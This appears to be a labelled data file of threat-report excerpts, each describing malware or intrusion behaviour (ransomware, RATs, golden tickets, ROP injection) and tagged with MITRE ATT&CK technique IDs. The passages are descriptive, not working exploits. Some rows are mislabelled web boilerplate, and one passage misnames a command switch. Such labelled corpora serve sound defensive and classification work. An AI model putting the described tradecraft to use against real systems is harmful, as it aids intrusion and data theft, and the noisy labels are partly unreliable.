+On June 28, 2020, our Threat Fusion team identified a new file being downloaded by the Aisino Intelligent Tax product. Rather, this new sample’s sole mission is to delete GoldenSpy and remove any trace it existed. Including the deletion of registry entries, all files and folders (including the GoldenSpy log file), and finally, the uninstaller deletes itself with the following command: cmd.exe /c del /q C:\Users\admin\AppData\Local\Temp\AWX.exe. Note the “/c” which will terminate the Windows Command-line interface after the operation is completed and “/d” which will delete without asking permission or giving any notification	['T1070.004']
+A malware variant named Mal/Miner-C (also known as PhotoMiner) is infecting Internet-exposed Seagate Central Network Attached Storage (NAS) devices and using them to infect connected computers to mine for the Monero cryptocurrency	['T1080']
+The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2	['T1049']
+PsExec is then used to launch PowerShell which uses the win32_service WMI class to retrieve services and the net stop command to stop these services. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes	['T1562.001', 'T1489', 'T1007']
+The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host	['T1036.005']
+Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files	['T1057']
+With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT	['T1053.005']
+The macros are different. In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration	['T1059.003']
+When the attackers need to send a file or command to the victim machine, they place them to the folder named d in the victim’s Dropbox folder. The malware retrieves this folder and downloads all its contents to the working folder	['T1074.001', 'T1567.002']
+A Python script was created for the purpose of automating this configuration file decoding process. The output of this script when run against the configuration file used by the first of the two Parliamentarian operation samples yielded the following data	['T1059.006']
+Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service	['T1543.003']
+The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI	['T1021.002']
+"This time, the text is from the novel ""The Brothers Karamazov"" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. Secondly, the author split the malware in a couple of different files. For example, the variables are stored in a ""Constant.py"" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files"	['T1105']
+Next, the loader fingerprints the Windows architecture. This is a crucial step because the loader needs to know what version of the backdoor to download (32-bit or 64-bit). Once the Windows architecture has been identified, the loader carries out the download	['T1197']
+Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 - Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns - Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns - The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft	['T1001.003']
+Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments. Check the file extension of the attached file and make sure it is the intended file format. Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything. Subtle changes to a popular URL can be one indicator of malicious content	['T1204.002']
+1) Checks if the user has Administrator privilege 2) Drops the Cobalt Strike Stager in debug or “%TEMP%” directory as “tmp_FlVnNI.dat” depending on the user privilege 3) Opens the decoy Word document 4) Locates the InstallUtil.exe and its installed version 5) Copies “schtasks.exe” to “%TEMP%” directory and renames it to “wtask.exe” 6) Creates Scheduled tasks with the name “Security Script kb00855787” 7) Renames “wscript.exe” into “winwsh.exe” 8) Runs the scheduled task to execute the Cobalt Strike Stager 9) C2 communication	['T1053.005']
+The information that the malware gets from the victim machine can be the user name, the machine name, the domain where the machine belongs or, if not, the workgroup, the product name (operating system name), etc	['T1082', 'T1082']
+While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://<c2 domain>/chk. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>: [command]<>[parameters for command in hexadecimal format] The available commands are	['T1105', 'T1030']
+Update the RAT and Keylogger remotely - Set an autostart JavaScript to run on RAT startup - A Domain Generation Algorithm (DGA) for C2 resiliency - If the user has admin permissions, it deletes shadow copies using vssadmin.exe	['T1568.002']
+"The wiper is relatively small in size and dynamically resolves most of the APIs it uses. Before starting any file destruction, it checks to ensure that the machine is not a domain controller. If the machine is a domain controller, it stops execution. Pseudo-code: CaddyWiper checking for the Domain Controller role of the machine. If the system is not a domain controller, the wiper will destroy files on ""C:\Users,"" followed by wiping of all files in the next drive letter until it reaches the ""Z"" drive. This means that the wiper will also attempt to wipe any network mapped drive attached to the system"	['T1082']
+While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. If that HTTPS request is not successful, the downloader will issue an HTTP request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. The downloader will use the filename of the script (ex	['T1071.001']
+As soon as the user enabled the macro, a robust Visual Basic Application (VBA) script began to execute. First, it would query Windows Management Instrumentation (WMI) to check if any of the following applications were running	['T1047']
+Note that .hwp is the extension used by Hangul Word Processor from Hangul Office, which is very popular in South Korea	['T1036.005']
+We believe that the source of all these stolen certificates could be the same Winnti group. Either this group has close contacts with other Chinese hacker gangs, or it sells the certificates on the black market in China	['T1553.002']
+"Summary . The following knowledgebase will explain the uses of Net commands in Windows Operating Systems. More information . Net Commands On Windows Operating Systems . The following Net Commands can be used to perform operations on Groups, users, account policies, shares, and so on. NET . The ""Net Accounts"" command is used to set the policy settings on local computer, such as Account policies and password policies. This command can't be used on domain controller. When you type Net Accounts, you will see the default settings of the Account Lockout policy and Password Policy in local computer show as: The above settings displayed as per the role of the computer. Community Solutions Content Disclaimer . Microsoft corporation and/or its respective suppliers make no representations about the suitability, reliability, or accuracy of the information and related graphics contained herein. User Account Control and remote restrictions - Windows Server Describes User Account Control (UAC) and remote restrictions in Windows Vista. auditpol get Reference article for the auditpol get command, which retrieves the system policy, per-user policy, auditing options, and audit security descriptor object. wevtutil Reference article for wevtutil, which lets you retrieve information about event logs and publishers. Manage cookies - Previous Version Docs - Blog - Contribute - Privacy & Cookies - Terms of Use - Trademarks - © Microsoft 2022 - Summary - More information - - - - Manage cookies - Previous Version Docs - Blog - Contribute - Privacy & Cookies - Terms of Use - Trademarks - © Microsoft 2022"	['T1087.002']
+In this blog, we described how Redaman has become more effective by hiding dynamic C&C server addresses inside the Bitcoin blockchain	['T1102.001']
+As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC. In particular, they they downloaded an auxiliary program ff._exe to the Config.Msi folder on the infected machine	['T1105']
+Looking at the binaries for SUNBURST and TEARDROP, we’ve learned that even this wildly successful operation had its rough edges. Far from a worry-free power trip, the attackers were wary all the while of having their activity seen at all, never mind recognized for what it was; extensive blacklists of domains and processes had to be created to make sure of that	['T1027']
+Email* - - * I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above	['T1204.001']
+"This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. When opening the document, the user must click on the ""Enable content"" button, which enables macros (fig. 5 Example of an email message with a Word document, which, when opened, requires the user to click on the ""Enable content"" button to enable a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. In addition, Cobalt Strike enables users not to expose a fragment of memory allocated in the context of another process, the RWX (Read, Write, Execute) attributes, which often reveal injected code"	['T1059.005']
+The Zip archive is encrypted with an unknown password, but we know it contains two files named joboffer.chm and thumb.db. The joboffer.chm file is a compiled HTML file that we believe loads and executes the ‘thumb.db’ file as a payload, but we cannot be absolutely sure as we do not have the password required to extract the files from the archive	['T1218.001']
+Recently, after looking at the difference between 0vercl0ck’s proof of concept and the real deal, a friend asked me “Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. By opening “Shell_TrayWnd” and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. The read part won’t trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. The sequences are instruction within the executable regions of explorer’s memory, their purpose is to perform certain operations as PowerLoader can’t execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction “STD” followed by “RET”, As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Well these bytes were found, in this case inside some random shell32 function (it doesn’t matter). Now the pointer doesn’t point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors	['T1055.011']
+Then calls the fcL4qOb4 function to set the scheduled task and disguise as the one used by Google	['T1036.004', 'T1053.005']
+"This module has been described before in the article here. The first instructions in the main function hide the console window from the user. Afterward, the module will delete old ""sft"" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files"	['T1564.003']
+Once in the folder, this property list (plist) file will launch the CrashReporter program with the Maintain parameter on system load as Root for every user. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004	['T1569.001']
+Researchers also observed that the backdoor downloads and executes the Cobalt Strike pentesting and post-exploitation toolkit on the victim's machine within some period of time after the infection. By deploying Cobalt Strike, it is clear that this stealthy backdoor is being used to gain a foothold in corporate networks so that ransomware can be deployed, data can be stolen, or network access could be sold to other threat actors	['T1105']
+Stop the running xmlprov service - Copy dropped xmlprov.dll and xmlrov.ini into the system32 directory and delete them from the current directory - Check if xmlProv service is installed or not and if it is not installed create the service through svchost.exe - Modify the xmlProv service values including type and binpath - Add xmlProv to the list of the services to be loaded by svchost - add xmlProv to the xmlProv registry key - Start the xmlProv service	['T1112']
+We found malicious code injected into a JavaScript library provided by Volusion to their client shops. The injected code loaded another JavaScript stored on a Google Storage service. The loaded script is almost a direct copy of a normal JavaScript library but has a credit card skimmer carefully integrated. When customers submit their payment information, the skimmer will copy and send the personal information and credit card details to an exfiltration server belonging to the attackers	['T1059.007']
+HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA	['T1567.002']
+We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors' preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also used different types of encryption in order to protect data in transit	['T1497.001']
+Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA	['T1027']
+As part of this research, I reached out to Benjamin Delpy, author of Mimkatz, and requested he add “SID History” to Mimikatz forged Kerberos tickets. The June 28th version of Mimikatz now includes the capability to include arbitrary SIDs in SID History on forged tickets. When a user is authenticated, the SIDs of every security group the user is a member of is added to the user’s Kerberos ticket, as well as any SIDs in the user’s SID History. Golden Tickets . Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. In other words, in a mult-domain AD forest, if the domain the Golden Ticket was created in doesn’t contain the Enterprise Admins group, the Golden Ticket won’t provide admin rights to other domains in the forest. The standard Golden Ticket is limited to the child domain it was created in, so now we add SID History to the equation… . Golden Ticket + SID History = WINNING. Things get more interesting once Mimikatz supports SID History in Golden Tickets (and Silver Tickets) since any group in the AD Forest can be included and used for authorization decisions. In order to support my research into how to expand access using SID History in Kerberos tickets across trusts (both intra-forest and external), I reached out to Benjamin Delpy in late June and requested SID History be added. Using the latest version of Mimikatz, we can now add SID History to the Golden Ticket for the Forest Enterprise Admins group. In summary, Golden Tickets can now be used to compromise any domain in the AD Forest once a single one is compromised	['T1134.005']
+In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool	['T1204.001']
+Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory	['T1074.001', 'T1560.003']
+The ScreenUtil module, which was first reported in 2017, takes a screenshot of the current user's desktop. All variants analyzed by CTU researchers were hard-coded to drop the captured image files to %APPDATA%\Update\Tmp	['T1113']
+If the ‘-p’ parameter has been passed into the command line, the loader proceeds to download the Team9 backdoor directly from the command and control server. One notable addition is the process injection (hollow process injection) when the backdoor has been successfully downloaded and decrypted. The loader injects the backdoor to one of the following processes	['T1055.012', 'T1055.013']
+Log keystrokes and the titles of open windows - Gather clipboard data and system information - Steal printer information and any documents that were sent to be printed - Record audio - Capture screenshots and webcam photos	['T1120']
+The UprotectData() method treats the first two bytes of the Base64 decoded value as a two-byte XOR key	['T1573.001', 'T1560.003']
+We had previously observed this same IP scanning for TCP port 7001 throughout May 2018. This was potentially a scan for Oracle WebLogic servers, which listens on TCP port 7001 by default. In both our samples, as well as the ones that Morpheus Labs described, the hard-coded password was not only identical, but also located at the same offset	['T1046']
+The server uses folders in the current directory to store information sent and received from WellMess backdoors and the folder layout is shown in Figure 2. Additionally, the server uses a private key and certificate located in the current working directory during mutual TLS connections	['T1573.002']
+An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network. These observations come from system log data, CrowdStrike Falcon® sensor telemetry, and the output of the Falcon Forensic Collector (a customized version of CrowdStrike’s freely distributed community tool, CrowdResponse	['T1570']
+As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name. They then identify the Exchange server and attempt to install the OwaAuth web shell. If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells. Within six hours of entering the environment, the threat actors compromised multiple systems and stole credentials for the entire domain	['T1003.002', 'T1003.004', 'T1003.001']
+Displays and modifies entries in the Address Resolution Protocol (ARP) cache, which contains one or more tables that are used to store IP addresses and their resolved Ethernet or Token Ring physical addresses. Used without parameters, arp displays help	['T1018']
+We found that a domain admin account was compromised and the Active Directory audit tool PingCastle was run. Using the domain admin, the actor was able to compromise several other accounts and execute malicious services and persistence mechanisms, namely SDBbot RAT Loaders	['T1078.002']
+KillDisk is designed to run with high privileges, this time it registers itself as a service under Plug-And-Play Support name	['T1036.004']
+Static Kitten is distributing at least two URLs that deliver two different ZIP files that are themed to be relevant to government agency employees. The URLs are distributed through phishing emails with lure and decoy documents. An example lure is shown in Figure 2 below	['T1204.001']
+The attackers also used a malicious tool that they named BCS-server. This tool allows them to open a tunnel into an internal network and then this tunnel can be used to send and receive data between the C&C server and even non-infected computers in the network. The main idea of this tool is based on the same principles as the XTUNNEL malware used by the Sednit group	['T1140']
+The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe	['T1204.001']
+The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step	['T1083']
+Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&C servers	['T1560']
+HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP. The C2 server is obtained from the decrypted config file, as shown in Figure 5	['T1071.001']
+PowerStallion is a lightweight PowerShell backdoor using Microsoft OneDrive, a storage service in the cloud, as C&C server	['T1102.002']
+26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe	['T1140']
+For alerts raised either by specific threat intelligence tied to activity groups or by more generic suspicious behaviors, Windows Defender ATP provides rich, visualized technical context. In the screenshots below, Windows Defender ATP clearly presents the Winnti installation where an installer drops a DLL to disk (Figure 5), loads the DLL using rundll32 (Figure 6), sets the DLL as a service (Figure 7), and saves a copy of itself in C:\Windows\Help (Figure 8	['T1218.011']
+It continues to perform a number of checks for installed security products on the victim machine. The following security platforms are queried by checking entries within the HKLM\Software\ registry path	['T1518.001']
+Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package	['T1583.006']
+Emails dating more than three years prior to malware execution have been included in the collected EmailStorage folder, meaning that there may not be a date limit for the email enumerator. There is a lack of keywords or other limiting pattern by which specific email messages in local mailboxes were targeted for exfiltration. Kroll has identified instances where specific email messages were deleted within the EmailStorage folder. In some instances, the entire EmailStorage folder is deleted once messages have all been exfiltrated. Based on observed cases, there was no evidence that attachments were included in the collected data. Kroll collaborators at the National Cyber Forensics Training Alliance (NCFTA) observed Qakbot samples sending SMTP traffic indicative of outbound spam thread hijackings	['T1074.001']
+The experience of dealing with Emotet shows that it will be time well spent. We always recommend that clients adopt a policy that forces users to create passwords that they can remember, but that are hard to guess	['T1110.001']
+In the past we have seen others techniques that used Bitcoin blockchain to hide their C&C server IP address, but in this blog we will share an analysis of the new technique	['T1568']
+When run, GoldMax decodes (Base64) and decrypts (AES-256) the configuration data to reveal a custom data structure comprised of the following dynamically generated and hardcoded values (delimited by	['T1140']
+The first stage logic is performed by ‘mklgsecondary’ which serves the purpose of downloading a file named ‘chrome.txt’ from a C2 server using the BITS utility. The downloader modifies the Chrome shortcut using the same method previously described for the Telegram variant. The downloaded PE file (‘chrome.txt’/’mklgchrome’) gets executed each time the user starts Chrome, thereby running the real Chrome application as well as executing the MarkiRAT payload	['T1197', 'T1105']
+In the implementation of Flagpro v1.0, if a dialog titled “Windows セキュリティ” is displayed when Flagpro accesses to an external site, Flagpro automatically clicks OK button to close the dialog. This handling also works when the dialog is written Chinese and English. It can indicate the targets are Japan, Taiwan, and English-speaking countries. Flagpro v2.0 checks whether both username and password are filled in a dialog as an additional feature before clicking the OK button	['T1614.001']
+Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site	['T1566.002']
+Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32’s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup	['T1053.005', 'T1218.010']
+Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this	['T1102.002']
+To inject the OpenSSH server configuration directly into memory, Ebury parses the sshd binary’s code section mapped in the same process looking for two different functions. If it fails, it downgrades security features by disabling SELinux Role-Based Access Control and deactivating PAM modules. When one of the functions is successfully resolved, Ebury will use this when the backdoor is used to tamper with sshd‘s configuration	['T1556.003', 'T1562.001']
+The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it���s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206	['T1105']
+In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload. Commands in the macro are heavily obfuscated for defense evasion	['T1027']
+Icons were often folders, meant to trick targets into thinking they were opening a shortcut to a folder	['T1036']
+The main code is run in a separate thread: every 10 minutes, the application contacts the C&C server motivation[.]neighboring[.]site and passes it the computer's identifier in the User-Agent string. The identifier is a SuperFastHash of the system volume serial number and the name of the computer	['T1082', 'T1029']
+One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97	['T1140']
+Before executing the main payload, the QakBot loader will first test the infected system to see if it is a good candidate for infection. Figure 5 below shows a high-level execution flow of the QakBot loader	['T1518.001', 'T1518.001', 'T1497.001']
+NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1. In this case, the malware attempts to identify other hosts on the network by checking the compromised system’s IP physical address mapping table. Next, it scans for other systems that are vulnerable to the SMB exploit and installs the malicious payload. Refer to the malware report, MIFR-10130295, for more details on these methods	['T1210']
+Tracing the origin of the hidden .mina file showed that it is a copy of an included resource, renamed SubMenu.nib, from the application bundle and where the main backdoor functions were contained. It also has the same links to Lazarus’ Windows and Linux predecessors: the presence of the hardcoded strings c_2910.cls and k_3872.cls. Both strings were previously used during C&C communication to the domain thevagabondsatchel[.]com as the sample storage of the cybercriminal group, as reported by 360 Netlab researchers	['T1027', 'T1564.001']
+The threat actor in this case hosted the MSI file on GitHub using a spoofed file extension to look like a PDF	['T1218.007']
+The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://<c2 domain>/chk. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting	['T1059.005']
+The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). (state) Indicates the state of a TCP connection. The possible states are as follows: CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT For more information about the states of a TCP connection, see RFC 793. Proto The name of the protocol (TCP or UDP). - Local Address The IP address of the local computer and the port number being used. The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). - Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). - - This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections	['T1049']
+The most common ports used are, 80, 1985, 1986, and 443. 1985 is the default port for the malware, 1986 is the lazy variation of that port. Port 80 and 443 are the default ports for HTTP and HTTPS traffic. The next most common is port 53. This is used in some of the newer 3.22 and 3.39 samples. After that, the count for each port starts declining sharply	['T1571']
+In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In this iteration, they have replaced certutil with BITSAdmin	['T1105']
+"Then, it encrypts it with 3DES before sending it (figure 28). The _P.Y (""0295A. 1618C"") method in figure 26 creates the MD5 hash of the string. This hash is used as secret for the 3DES encryption"	['T1560']
